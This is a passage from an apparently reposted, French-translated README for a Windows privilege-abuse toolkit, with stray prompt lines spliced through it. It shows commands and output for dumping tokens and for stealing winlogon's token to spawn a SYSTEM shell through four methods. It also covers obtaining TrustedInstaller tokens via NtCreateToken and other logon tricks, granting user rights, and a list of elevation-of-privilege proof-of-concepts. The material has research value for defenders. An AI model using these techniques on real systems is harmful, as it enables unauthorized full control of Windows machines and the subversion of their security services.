CONSOLE LOGON                                                 Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Authenticated Users                              Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\This Organization                                Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Local account                                    Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\LogonSessionId_0_122425                          Mandatory, EnabledByDefault, Enabled, LogonId
LOCAL                                                         Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\NTLM Authentication                              Mandatory, EnabledByDefault, Enabled
Mandatory Label\High Mandatory Level                          Integrity, IntegrityEnabled


DACL INFORMATION
----------------

Account Name                         Access                      Flags Type
==================================== =========================== ===== =============
BUILTIN\Administrators               GenericAll                  None  AccessAllowed
NT AUTHORITY\SYSTEM                  GenericAll                  None  AccessAllowed
NT AUTHORITY\LogonSessionId_0_122425 GenericExecute, GenericRead None  AccessAllowed


SECURITY ATTRIBUTES INFORMATION
-------------------------------

[*] WIN://SYSAPPID
    Flags : None
    Type  : String
        Value[0x00] : Microsoft.Windows.StartMenuExperienceHost_10.0.22621.1_neutral_neutral_cw5n1h2txyewy
        Value[0x01] : App
        Value[0x02] : Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy

[*] WIN://PKG
    Flags : None
    Type  : UInt64
        Value[0x00] : 0x0000000200000001

[*] WIN://PKGHOSTID
    Flags : None
    Type  : UInt64
        Value[0x00] : 0x1000000000000001

[*] TSA://ProcUnique
    Flags : NonInheritable, Unique
    Type  : UInt64
        Value[0x00] : 0x0000000000000041
        Value[0x01] : 0x0000000000063D9B

[*] Done.

root@kitploit:~
Si vous définissez la valeur du handle dans un processus spécifique avec l'option `-v` et le PID avec l'option `-p` ainsi que le drapeau `-s`, cet outil obtient des informations détaillées pour le handle comme suit :```
C:\Dev>.\TokenDump.exe -s -p 7012 -v 0x23C -d

[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to dump token handle information.

[Token Information for Handle 0x23C of msdtc.exe (PID: 7012)]

Token User          : NT AUTHORITY\NETWORK SERVICE (SID: S-1-5-20)
Token Owner         : NT AUTHORITY\NETWORK SERVICE (SID: S-1-5-20)
Primary Group       : NT AUTHORITY\NETWORK SERVICE (SID: S-1-5-20)
Token Type          : Primary
Impersonation Level : Anonymous
Token ID            : 0x000000000007DF17
Authentication ID   : 0x00000000000003E4
Original ID         : 0x00000000000003E7
Modified ID         : 0x000000000007DEE2
Integrity Level     : System
Protection Level    : N/A
Session ID          : 0
Elevation Type      : Default
Mandatory Policy    : NoWriteUp, NewProcessMin
Elevated            : False
AppContainer        : False
TokenFlags          : IsFiltered, NotLow
Has Linked Token    : False
Token Source        : N/A
Token Source ID     : N/A


    PRIVILEGES INFORMATION
    ----------------------

    Privilege Name          State
    ======================= =========================
    SeChangeNotifyPrivilege EnabledByDefault, Enabled
    SeCreateGlobalPrivilege EnabledByDefault, Enabled


    GROUP INFORMATION
    -----------------

    Group Name                             Attributes
    ====================================== ====================================================
    Mandatory Label\System Mandatory Level Integrity, IntegrityEnabled
    Everyone                               Mandatory, EnabledByDefault, Enabled
    BUILTIN\Users                          Mandatory, EnabledByDefault, Enabled
    NT AUTHORITY\SERVICE                   Mandatory, EnabledByDefault, Enabled
    CONSOLE LOGON                          Mandatory, EnabledByDefault, Enabled
    NT AUTHORITY\Authenticated Users       Mandatory, EnabledByDefault, Enabled
    NT AUTHORITY\This Organization         Mandatory, EnabledByDefault, Enabled
    NT SERVICE\MSDTC                       EnabledByDefault, Enabled, Owner
    NT AUTHORITY\LogonSessionId_0_515780   Mandatory, EnabledByDefault, Enabled, Owner, LogonId
    LOCAL                                  Mandatory, EnabledByDefault, Enabled


    DACL INFORMATION
    ----------------

    Account Name        Access      Flags Type
    =================== =========== ===== =============
    NT AUTHORITY\SYSTEM GenericAll  None  AccessAllowed
    OWNER RIGHTS        ReadControl None  AccessAllowed
    NT SERVICE\MSDTC    GenericAll  None  AccessAllowed


    SECURITY ATTRIBUTES INFORMATION
    -------------------------------

    [*] TSA://ProcUnique
        Flags : NonInheritable, Unique
        Type  : UInt64
            Value[0x00] : 0x0000000000000070
            Value[0x01] : 0x000000000007DF18


[*] Done.

Pour enquêter sur le jeton d'usurpation d'identité appliqué à un thread, définissez l'ID du thread comme option -t comme suit :``` C:\Dev>.\TokenDump.exe -e -T -d

[>] Trying to enable SeDebugPrivilege. [+] SeDebugPrivilege is enabled successfully. [>] Trying to enumerate impersonated threads.

PID TID Session Process Name Token User Integrity Impersonation Level ==== ==== ======= ============ =================== ========= =================== 1952 2000 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation 1952 2300 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation 3516 4348 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation 3516 4656 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation

[+] Got 4 thread(s). [] Found 1 account(s). [] NT AUTHORITY\SYSTEM [*] Done.

C:\Dev>.\TokenDump.exe -s -p 3516 -t 4656 -d

[>] Trying to enable SeDebugPrivilege. [+] SeDebugPrivilege is enabled successfully. [>] Trying to dump thread token information.

[Token Information for svchost.exe (PID: 3516, TID: 4656)]

Token User : NT AUTHORITY\SYSTEM (SID: S-1-5-18) Token Owner : NT AUTHORITY\SYSTEM (SID: S-1-5-18) Primary Group : NT AUTHORITY\SYSTEM (SID: S-1-5-18) Token Type : Impersonation Impersonation Level : Impersonation Token ID : 0x0000000000038CC4 Authentication ID : 0x00000000000003E7 Original ID : 0x00000000000003E7 Modified ID : 0x000000000002CE61 Integrity Level : System Protection Level : N/A Session ID : 0 Elevation Type : Default Mandatory Policy : NoWriteUp, NewProcessMin Elevated : True AppContainer : False TokenFlags : IsFiltered, NotLow, EnforceRedirectionTrust Has Linked Token : False Token Source : N/A Token Source ID : N/A

root@kitploit:~
PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeAssignPrimaryTokenPrivilege Disabled
SeTcbPrivilege                EnabledByDefault, Enabled
SeSecurityPrivilege           Disabled
SeSystemProfilePrivilege      EnabledByDefault, Enabled
SeDebugPrivilege              EnabledByDefault, Enabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeImpersonatePrivilege        EnabledByDefault, Enabled
SeCreateGlobalPrivilege       EnabledByDefault, Enabled


GROUP INFORMATION
-----------------

Group Name                             Attributes
====================================== ====================================================
Mandatory Label\System Mandatory Level Integrity, IntegrityEnabled
Everyone                               Mandatory, EnabledByDefault, Enabled
BUILTIN\Users                          Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\SERVICE                   Mandatory, EnabledByDefault, Enabled
CONSOLE LOGON                          Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Authenticated Users       Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\This Organization         Mandatory, EnabledByDefault, Enabled
NT SERVICE\DiagTrack                   EnabledByDefault, Enabled, Owner
NT AUTHORITY\LogonSessionId_0_180260   Mandatory, EnabledByDefault, Enabled, Owner, LogonId
LOCAL                                  Mandatory, EnabledByDefault, Enabled
BUILTIN\Administrators                 EnabledByDefault, Enabled, Owner


DACL INFORMATION
----------------

Account Name         Access      Flags Type
==================== =========== ===== =============
NT AUTHORITY\SYSTEM  GenericAll  None  AccessAllowed
OWNER RIGHTS         ReadControl None  AccessAllowed
NT SERVICE\DiagTrack GenericAll  None  AccessAllowed


SECURITY ATTRIBUTES INFORMATION
-------------------------------

[*] TSA://ProcUnique
    Flags : NonInheritable, Unique
    Type  : UInt64
        Value[0x00] : 0x0000000000000047
        Value[0x01] : 0x000000000002C0FA

[*] Done.

root@kitploit:~
## TokenAssignor

[Retour en haut](#privfu)

[Projet](https://github.com/daem0nc0re/privfu/blob/main/TokenAssignor)

Cet outil est pour apprendre à assigner le jeton primaire :```
PS C:\Dev> .\TokenAssignor.exe

TokenAssignor - Tool to execute token assigned process.

Usage: TokenAssignor.exe [Options]

        -h, --help    : Displays this help message.
        -c, --command : Specifies a command to execute. Default is cmd.exe.
        -m, --method  : Specifies a method ID (0 - 3).
        -p, --pid     : Specifies a source PID for token stealing.

[!] -m option is required.

Cet outil tente de voler un jeton (token) d'un processus spécifié et d'exécuter un processus assigné à ce jeton. La plupart des méthodes nécessitent des privilèges administratifs. Pour exécuter un processus assigné à un jeton avec l'API CreateProcessAsUser, définissez l'option -m sur 0 :``` PS C:\Dev> Get-Process winlogon

Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName


root@kitploit:~
270      13     2452      10108       0.33    688   1 winlogon

PS C:\Dev> whoami /user

USER INFORMATION

User Name SID ==================== ============================================= desktop-5ohmobj\user S-1-5-21-1955100404-698441589-1496171011-1001 PS C:\Dev> .\TokenAssignor.exe -p 688 -m 0

[+] SeDebugPrivilege is enabled successfully. [+] SeImpersonatePrivilege is enabled successfully. [+] Got a primary token from PID 688 (Handle = 0x68). [+] Got a impersonation token from winlogon.exe (Handle = 0x2E0). [+] Impersonation as winlogon.exe is successful. [+] "C:\Windows\system32\cmd.exe" is executed successfully (PID = 9552). [*] User of the created process is NT AUTHORITY\SYSTEM (SID: S-1-5-18). Microsoft Windows [Version 10.0.22631.2428] (c) Microsoft Corporation. All rights reserved.

C:\Dev>whoami /user

USER INFORMATION

User Name SID =================== ======== nt authority\system S-1-5-18

root@kitploit:~
Lorsque l'option `-m` est définie sur `1`, cet outil tente de créer un processus suspendu et de mettre à jour le jeton principal avec un jeton volé.
Cette méthode ne peut pas être utilisée pour changer l'ID de session en raison d'une restriction du noyau.
Le noyau force l'ID de session du jeton à correspondre à l'ID de session de `_EPROCESS` :```
PS C:\Dev> whoami /user

USER INFORMATION
----------------

User Name            SID
==================== =============================================
desktop-5ohmobj\user S-1-5-21-1955100404-698441589-1496171011-1001
PS C:\Dev> .\TokenAssignor.exe -p 688 -m 1

[+] SeDebugPrivilege is enabled successfully.
[+] SeImpersonatePrivilege is enabled successfully.
[+] Got a primary token from PID 688 (Handle = 0x2C8).
[+] Got a impersonation token from winlogon.exe (Handle = 0x2D8).
[+] Impersonation as winlogon.exe is successful.
[+] Suspended "C:\Windows\system32\cmd.exe" is executed successfully (PID = 9968).
[*] Current user of the suspended process is DESKTOP-5OHMOBJ\user (SID: S-1-5-21-1955100404-698441589-1496171011-1001)
[+] Primary token for the suspended process is updated successfully.
[*] Current user of the suspended process is NT AUTHORITY\SYSTEM (SID: S-1-5-18)
[*] Resuming the suspended process.
Microsoft Windows [Version 10.0.22631.2428]
(c) Microsoft Corporation. All rights reserved.

C:\Dev>whoami /user

USER INFORMATION
----------------

User Name           SID
=================== ========
nt authority\system S-1-5-18

Si l'option -m est définie sur 2, crée un nouveau processus avec un jeton attribué via le service Secondary Logon Service :``` PS C:\Dev> whoami /user

USER INFORMATION

User Name SID ==================== ============================================= desktop-5ohmobj\user S-1-5-21-1955100404-698441589-1496171011-1001 PS C:\Dev> .\TokenAssignor.exe -p 688 -m 2

[+] SeDebugPrivilege is enabled successfully. [+] SeImpersonatePrivilege is enabled successfully. [+] Got a primary token from PID 688 (Handle = 0x2C4). [+] "C:\Windows\system32\cmd.exe" is executed successfully (PID = 5832). [*] User of the created process is NT AUTHORITY\SYSTEM (SID: S-1-5-18).

PS C:\Dev>

Microsoft Windows [Version 10.0.22631.2428] (c) Microsoft Corporation. All rights reserved.

C:\Dev>whoami /user

USER INFORMATION

User Name SID =================== ======== nt authority\system S-1-5-18

root@kitploit:~
Si l'option `-m` est définie à `3`, crée un nouveau processus assigné à un jeton avec la méthode d'usurpation de PPID :```
PS C:\Dev> whoami /user

USER INFORMATION
----------------

User Name            SID
==================== =============================================
desktop-5ohmobj\user S-1-5-21-1955100404-698441589-1496171011-1001
PS C:\Dev> .\TokenAssignor.exe -p 688 -m 3

[+] SeDebugPrivilege is enabled successfully.
[+] Got a handle from PID 688 (Handle = 0x2C4).
[+] Thread attribute is built successfully.
[+] "C:\Windows\system32\cmd.exe" is executed successfully (PID = 4852).
[*] User of the created process is NT AUTHORITY\SYSTEM (SID: S-1-5-18).

PS C:\Dev>


Microsoft Windows [Version 10.0.22631.2428]
(c) Microsoft Corporation. All rights reserved.

C:\Dev>whoami /user

USER INFORMATION
----------------

User Name           SID
=================== ========
nt authority\system S-1-5-18

TrustExec

Back to Top

Project

Cet outil permet d'exécuter un processus sous le compte de groupe NT SERVICE\TrustedInstaller. La preuve de concept originale est TrustedInstallerCmd2.c de Grzegorz Tworek. Je l'ai portée en C# et reconstruite en tant qu'outil. La plupart des opérations nécessitent un privilège administratif (SeDebugPrivilege, SeImpersonatePrivilege et un haut niveau obligatoire) :``` PS C:\Dev> .\TrustExec.exe

TrustExec - Tool to create TrustedInstaller process.

Usage: TrustExec.exe [Options]

root@kitploit:~
    -h, --help        : Displays this help message.
    -l, --lookup      : Flag to lookup account name or SID.
    -n, --new-console : Flag to create new console. Use with -x flag.
    -x, --exec        : Flag to execute command.
    -a, --account     : Specifies account name to lookup.
    -c, --command     : Specifies command to execute. Default is cmd.exe.
    -e, --extra       : Specifies command to execute. Default is cmd.exe.
    -m, --method      : Specifies method ID. Default is 0 (NtCreateToken method).
    -s, --sid         : Specifies SID to lookup.

Available Method IDs:

root@kitploit:~
    + 0 - Leverages NtCreateToken syscall.
    + 1 - Leverages virtual logon.
    + 2 - Leverages service logon.
    + 3 - Leverages S4U logon.
    + 4 - Leverages TrustedInstaller service.
root@kitploit:~
Pour ce module, 2 techniques sont implémentées.
Nous pouvons spécifier une méthode avec l'option `-m`.
La valeur pour l'option `-m` peut être un entier de `0` à `4`.
Par exemple, si vous réglez l'option `-m` sur `0`, cet outil essaie d'obtenir le jeton `TrustedInstaller` avec `NtCreateToken`:```
PS C:\Dev> .\TrustExec.exe -m 0 -x -c powershell

[*] NtCreateToken syscall method is selected.
[+] SeDebugPrivilege is enabled successfully.
[+] SeImpersonatePrivilege is enabled successfully.
[+] Impersonation as smss.exe is successful.
[+] SeAssignPrimaryTokenPrivilege is enabled successfully for current thread.
[+] SeCreateTokenPrivilege is enabled successfully for current thread.
[+] SeImpersonatePrivilege is enabled successfully for current thread.
[+] Got a TrustedInstaller token (Handle = 0xE8).
[+] Got a token assigned process (PID: 2832).
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Dev> whoami /user

USER INFORMATION
----------------

User Name           SID
=================== ========
nt authority\system S-1-5-18
PS C:\Dev> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State
========================================= ================================================================== =======
SeCreateTokenPrivilege                    Create a token object                                              Enabled
SeAssignPrimaryTokenPrivilege             Replace a process level token                                      Enabled
SeLockMemoryPrivilege                     Lock pages in memory                                               Enabled
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeMachineAccountPrivilege                 Add workstations to domain                                         Enabled
SeTcbPrivilege                            Act as part of the operating system                                Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeCreatePermanentPrivilege                Create permanent shared objects                                    Enabled
SeBackupPrivilege                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeAuditPrivilege                          Generate security audits                                           Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeSyncAgentPrivilege                      Synchronize directory service data                                 Enabled
SeEnableDelegationPrivilege               Enable computer and user accounts to be trusted for delegation     Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeTrustedCredManAccessPrivilege           Access Credential Manager as a trusted caller                      Enabled
SeRelabelPrivilege                        Modify an object label                                             Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
PS C:\Dev> whoami /groups

GROUP INFORMATION
-----------------

Group Name                             Type             SID                                                            Attributes
====================================== ================ ============================================================== ==================================================
Everyone                               Well-known group S-1-1-0                                                        Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0                                                        Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                          Well-known group S-1-2-1                                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                   Well-known group S-1-5-6                                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11                                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators                 Alias            S-1-5-32-544                                                   Enabled by default, Enabled group, Group owner
BUILTIN\Users                          Alias            S-1-5-32-545                                                   Mandatory group, Enabled by default, Enabled group
NT SERVICE\TrustedInstaller            Well-known group S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464 Enabled by default, Enabled group, Group owner
Mandatory Label\System Mandatory Level Label            S-1-16-16384

Si vous voulez créer un processus avec une nouvelle console, définissez l'option -n comme suit :``` PS C:\Dev> .\TrustExec.exe -m 1 -x -c powershell -n

[*] Virtual logon method is selected. [+] SeDebugPrivilege is enabled successfully. [+] SeImpersonatePrivilege is enabled successfully. [+] Impersonation as smss.exe is successful. [+] SeAssignPrimaryTokenPrivilege is enabled successfully for current thread. [+] SeImpersonatePrivilege is enabled successfully for current thread. [+] SeTcbPrivilege is enabled successfully for current thread. [+] A virtual domain VirtualDomain is created successfully (SID: S-1-5-110). [+] A virtual account VirtualDomain\VirtualAdmin is created successfully (SID: S-1-5-110-500). [+] Got a virtual logon token (Handle = 0xEC). [+] Got a token assigned process (PID: 23836). [+] VirtualDomain domain is removed successfully.

root@kitploit:~
Chaque méthode autre que la méthode de service TrustedInstaller (ID pour l'option `-m` est `4`) accepte des SID de groupe supplémentaires avec l'option `-e`.
Le format de valeur pour l'option `-e` doit être une chaîne SID SDDL.
Pour le séparateur de chaîne SID, vous pouvez utiliser une virgule comme suit :

```"S-1-5-32-544,S-1-5-32-545"``````
PS C:\Dev> .\TrustExec.exe -m 0 -x -c powershell -e S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736,S-1-5-32-551

[*] NtCreateToken syscall method is selected.
[+] SeDebugPrivilege is enabled successfully.
[+] SeImpersonatePrivilege is enabled successfully.
[+] Impersonation as smss.exe is successful.
[+] SeAssignPrimaryTokenPrivilege is enabled successfully for current thread.
[+] SeCreateTokenPrivilege is enabled successfully for current thread.
[+] SeImpersonatePrivilege is enabled successfully for current thread.
[+] Got a TrustedInstaller token (Handle = 0x30C).
[+] Got a token assigned process (PID: 17500).
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Dev> whoami /user

GROUP INFORMATION
-----------------

Group Name                             Type             SID                                                             Attributes
====================================== ================ =============================================================== ==================================================
Everyone                               Well-known group S-1-1-0                                                         Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0                                                         Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                          Well-known group S-1-2-1                                                         Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                   Well-known group S-1-5-6                                                         Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11                                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators               Alias            S-1-5-32-551                                                    Enabled by default, Enabled group
BUILTIN\Administrators                 Alias            S-1-5-32-544                                                    Enabled by default, Enabled group, Group owner
BUILTIN\Users                          Alias            S-1-5-32-545                                                    Mandatory group, Enabled by default, Enabled group
NT SERVICE\TrustedInstaller            Well-known group S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464  Enabled by default, Enabled group, Group owner
Mandatory Label\System Mandatory Level Label            S-1-16-16384                                                    
NT SERVICE\WinDefend                   Well-known group S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736 Enabled by default, Enabled group

Pour résoudre le SID du compte, définissez l'indicateur -l et l'option -a avec le nom du compte comme suit:``` PS C:\Dev> .\TrustExec.exe -l -a "nt service\windefend"

[] Account Name : NT SERVICE\WinDefend [] Account SID : S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736 [*] Account Type : WellKnownGroup

PS C:\Dev> .\TrustExec.exe -l -a users

[] Account Name : BUILTIN\Users [] Account SID : S-1-5-32-545 [*] Account Type : Alias

root@kitploit:~
## UserRightsUtil

[Back to Top](#privfu)

[Project](https://github.com/daem0nc0re/privfu/blob/main/UserRightsUtil)

Cet outil permet de gérer les droits utilisateur sans `secpol.msc`. Les commandes autres que `lookup` nécessitent des privilèges administrateur :```
C:\dev>UserRightsUtil.exe

UserRightsUtil - User rights management utility.

Usage: UserRightsUtil.exe [Options]

        -h, --help   : Displays this help message.
        -m, --module : Specifies module name.

Available Modules:

        + enum   - Enumerate user rights for specific account.
        + find   - Find accounts have a specific user right.
        + lookup - Lookup account's SID.
        + manage - Grant or revoke user rights.

[*] To see help for each modules, specify "-m <Module> -h" as arguments.

[!] -m option is required.

enum Module

Pour énumérer les droits d'utilisateur pour un compte spécifique, utilisez la commande enum avec les options -u et d ou l'option -s comme suit :``` C:\dev>UserRightsUtil.exe -m enum -d contoso -u jeff

[>] Trying to enumerate user rights. |-> Username : CONTOSO\jeff |-> SID : S-1-5-21-3654360273-254804765-2004310818-1105 [+] Got 7 user right(s). |-> SeChangeNotifyPrivilege |-> SeIncreaseWorkingSetPrivilege |-> SeShutdownPrivilege |-> SeUndockPrivilege |-> SeTimeZonePrivilege |-> SeInteractiveLogonRight |-> SeNetworkLogonRight [*] Done.

C:\dev>UserRightsUtil.exe -m enum -s S-1-5-21-3654360273-254804765-2004310818-1105

[>] Trying to enumerate user rights. |-> Username : CONTOSO\jeff |-> SID : S-1-5-21-3654360273-254804765-2004310818-1105 [+] Got 7 user right(s). |-> SeChangeNotifyPrivilege |-> SeIncreaseWorkingSetPrivilege |-> SeShutdownPrivilege |-> SeUndockPrivilege |-> SeTimeZonePrivilege |-> SeInteractiveLogonRight |-> SeNetworkLogonRight [*] Done.

root@kitploit:~
Si vous ne spécifiez pas le nom de domaine avec l'option `-d`, utilisez le nom de l'ordinateur local comme nom de domaine :```
C:\dev>hostname
CL01

C:\dev>UserRightsUtil.exe -m enum -u guest

[>] Trying to enumerate user rights.
    |-> Username : CL01\Guest
    |-> SID      : S-1-5-21-2659926013-4203293582-4033841475-501
[+] Got 3 user right(s).
    |-> SeInteractiveLogonRight
    |-> SeDenyInteractiveLogonRight
    |-> SeDenyNetworkLogonRight
[*] Done.

find Module

Cette commande permet de trouver les utilisateurs qui ont un droit spécifique. Par exemple, si vous voulez trouver les utilisateurs qui ont SeDebugPrivilege, exécutez comme suit :``` C:\dev>UserRightsUtil.exe -m find -r debug

[>] Trying to find users with SeDebugPrivilege. [+] Found 1 user(s). |-> BUILTIN\Administrators (SID : S-1-5-32-544, Type : SidTypeAlias) [*] Done.

root@kitploit:~
Pour lister les valeurs disponibles pour l'option `-r`, utilisez l'option `-l` :```
C:\dev>UserRightsUtil.exe -m find -l

Available values for --right option:
        + TrustedCredManAccess           : Specfies SeTrustedCredManAccessPrivilege.
        + NetworkLogon                   : Specfies SeNetworkLogonRight.
        + Tcb                            : Specfies SeTcbPrivilege.
        + MachineAccount                 : Specfies SeMachineAccountPrivilege.
        + IncreaseQuota                  : Specfies SeIncreaseQuotaPrivilege.
        + InteractiveLogon               : Specfies SeInteractiveLogonRight.
        + RemoteInteractiveLogon         : Specfies SeRemoteInteractiveLogonRight.
        + Backup                         : Specfies SeBackupPrivilege.

--snip--

Module lookup

Cette commande permet de rechercher le SID de compte comme suit :``` C:\dev>UserRightsUtil.exe -m lookup -d contoso -u david

[*] Result: |-> Account Name : CONTOSO\david |-> SID : S-1-5-21-3654360273-254804765-2004310818-1104 |-> Account Type : SidTypeUser

C:\dev>UserRightsUtil.exe -m lookup -s S-1-5-21-3654360273-254804765-2004310818-500

[*] Result: |-> Account Name : CONTOSO\Administrator |-> SID : S-1-5-21-3654360273-254804765-2004310818-500 |-> Account Type : SidTypeUser

C:\dev>UserRightsUtil.exe -m lookup -d contoso -u "domain admins"

[*] Result: |-> Account Name : CONTOSO\Domain Admins |-> SID : S-1-5-21-3654360273-254804765-2004310818-512 |-> Account Type : SidTypeGroup

root@kitploit:~
Si vous ne spécifiez pas le nom de domaine avec l'option `-d`, utilisez le nom de l'ordinateur local comme nom de domaine:```
C:\dev>hostname
CL01

C:\dev>UserRightsUtil.exe -m lookup -u admin

[*] Result:
    |-> Account Name : CL01\admin
    |-> SID          : S-1-5-21-2659926013-4203293582-4033841475-500
    |-> Account Type : SidTypeUser

manage Module

Cette commande permet d'accorder ou de révoquer les droits d'un utilisateur pour un compte utilisateur spécifique. Pour accorder un droit, spécifiez un droit d'utilisateur comme valeur pour l'option -g :``` C:\dev>UserRightsUtil.exe -m find -r tcb

[>] Trying to find users with SeTcbPrivilege. [-] No users. [*] Done.

C:\dev>UserRightsUtil.exe -m manage -g tcb -d contoso -u administrator

[>] Target account information: |-> Username : CONTOSO\Administrator |-> SID : S-1-5-21-3654360273-254804765-2004310818-500 [>] Trying to grant SeTcbPrivilege. [+] SeTcbPrivilege is granted successfully.

C:\dev>UserRightsUtil.exe -m find -r tcb

[>] Trying to find users with SeTcbPrivilege. [+] Found 1 user(s). |-> CONTOSO\Administrator (SID : S-1-5-21-3654360273-254804765-2004310818-500, Type : SidTypeUser) [*] Done.

root@kitploit:~
Pour révoquer un droit utilisateur, spécifiez un droit utilisateur comme valeur pour l'option `-r` :```
C:\dev>UserRightsUtil.exe -m find -r tcb

[>] Trying to find users with SeTcbPrivilege.
[+] Found 1 user(s).
    |-> CONTOSO\Administrator (SID : S-1-5-21-3654360273-254804765-2004310818-500, Type : SidTypeUser)
[*] Done.


C:\dev>UserRightsUtil.exe -m manage -r tcb -d contoso -u administrator

[>] Target account information:
    |-> Username : CONTOSO\Administrator
    |-> SID      : S-1-5-21-3654360273-254804765-2004310818-500
[>] Trying to revoke SeTcbPrivilege
[+] SeTcbPrivilege is revoked successfully.

C:\de>UserRightsUtil.exe -m find -r tcb

[>] Trying to find users with SeTcbPrivilege.
[-] No users.
[*] Done.

Pour lister les valeurs disponibles pour l'option -g ou -r, utilisez l'option -l :``` C:\dev>UserRightsUtil.exe -m manage -l

Available values for --grant and --revoke options: + TrustedCredManAccess : Specfies SeTrustedCredManAccessPrivilege. + NetworkLogon : Specfies SeNetworkLogonRight. + Tcb : Specfies SeTcbPrivilege. + MachineAccount : Specfies SeMachineAccountPrivilege. + IncreaseQuota : Specfies SeIncreaseQuotaPrivilege. + InteractiveLogon : Specfies SeInteractiveLogonRight. + RemoteInteractiveLogon : Specfies SeRemoteInteractiveLogonRight. + Backup : Specfies SeBackupPrivilege.

--snip--

root@kitploit:~
## Références

[Retour en haut](#privfu)

- [Priv2Admin](https://github.com/gtworek/Priv2Admin) et [PSBits](https://github.com/gtworek/PSBits) par [Grzegorz Tworek](https://twitter.com/0gtweet)
- [Abusing Token Privileges For LPE](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) par [Bryan Alexander](https://twitter.com/dronesec) et [Steve Breen](https://twitter.com/breenmachine)
- [whoami /priv](https://github.com/decoder-it/whoami-priv-Hackinparis2019) par [Andrea Pierini](https://twitter.com/decoder_it)
- [HackSys Extreme Vulnerable Driver](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver) par [Ashfaq Ansari](https://twitter.com/hacksysteam)

## Remerciements

[Retour en haut](#privfu)

Merci pour vos conseils sur la programmation d'extensions WinDbg :

- Pavel Yosifovich ([@zodiacon](https://twitter.com/zodiacon))

Merci pour vos recherches notables :

- Grzegorz Tworek ([@0gtweet](https://twitter.com/0gtweet))
- Bryan Alexander ([@dronesec](https://twitter.com/dronesec))
- Steve Breen ([@breenmachine](https://twitter.com/breenmachine))
- Andrea Pierini ([@decoder_it](https://twitter.com/decoder_it))

Merci pour la publication de votre exemple de pilote noyau :

- Ashfaq Ansari ([@HackSysTeam](https://twitter.com/hacksysteam))
Télécharger l’outil
Nom du PoCDescription
CreateAssignTokenVariantCe PoC effectue une EoP avec SeCreateTokenPrivilege et SeAssignPrimaryTokenPrivilege.
CreateImpersonateTokenVariantCe PoC effectue une EoP avec SeCreateTokenPrivilege et SeImpersonatePrivilege.
CreateTokenVariantCe PoC effectue une EoP avec SeCreateTokenPrivilege.
DebugInjectionVariantCe PoC effectue une EoP avec SeDebugPrivilege. Utilise une injection de code dans winlogon.exe à l'étape finale.
DebugUpdateProcVariantCe PoC effectue une EoP avec SeDebugPrivilege. Crée un processus SYSTEM à partir de winlogon.exe avec l'API UpdateProcThreadAttribute à l'étape finale.
RestoreServiceModificationVariantCe PoC effectue une EoP avec SeRestorePrivilege. Utilise HijackShellLib avec ce PoC.
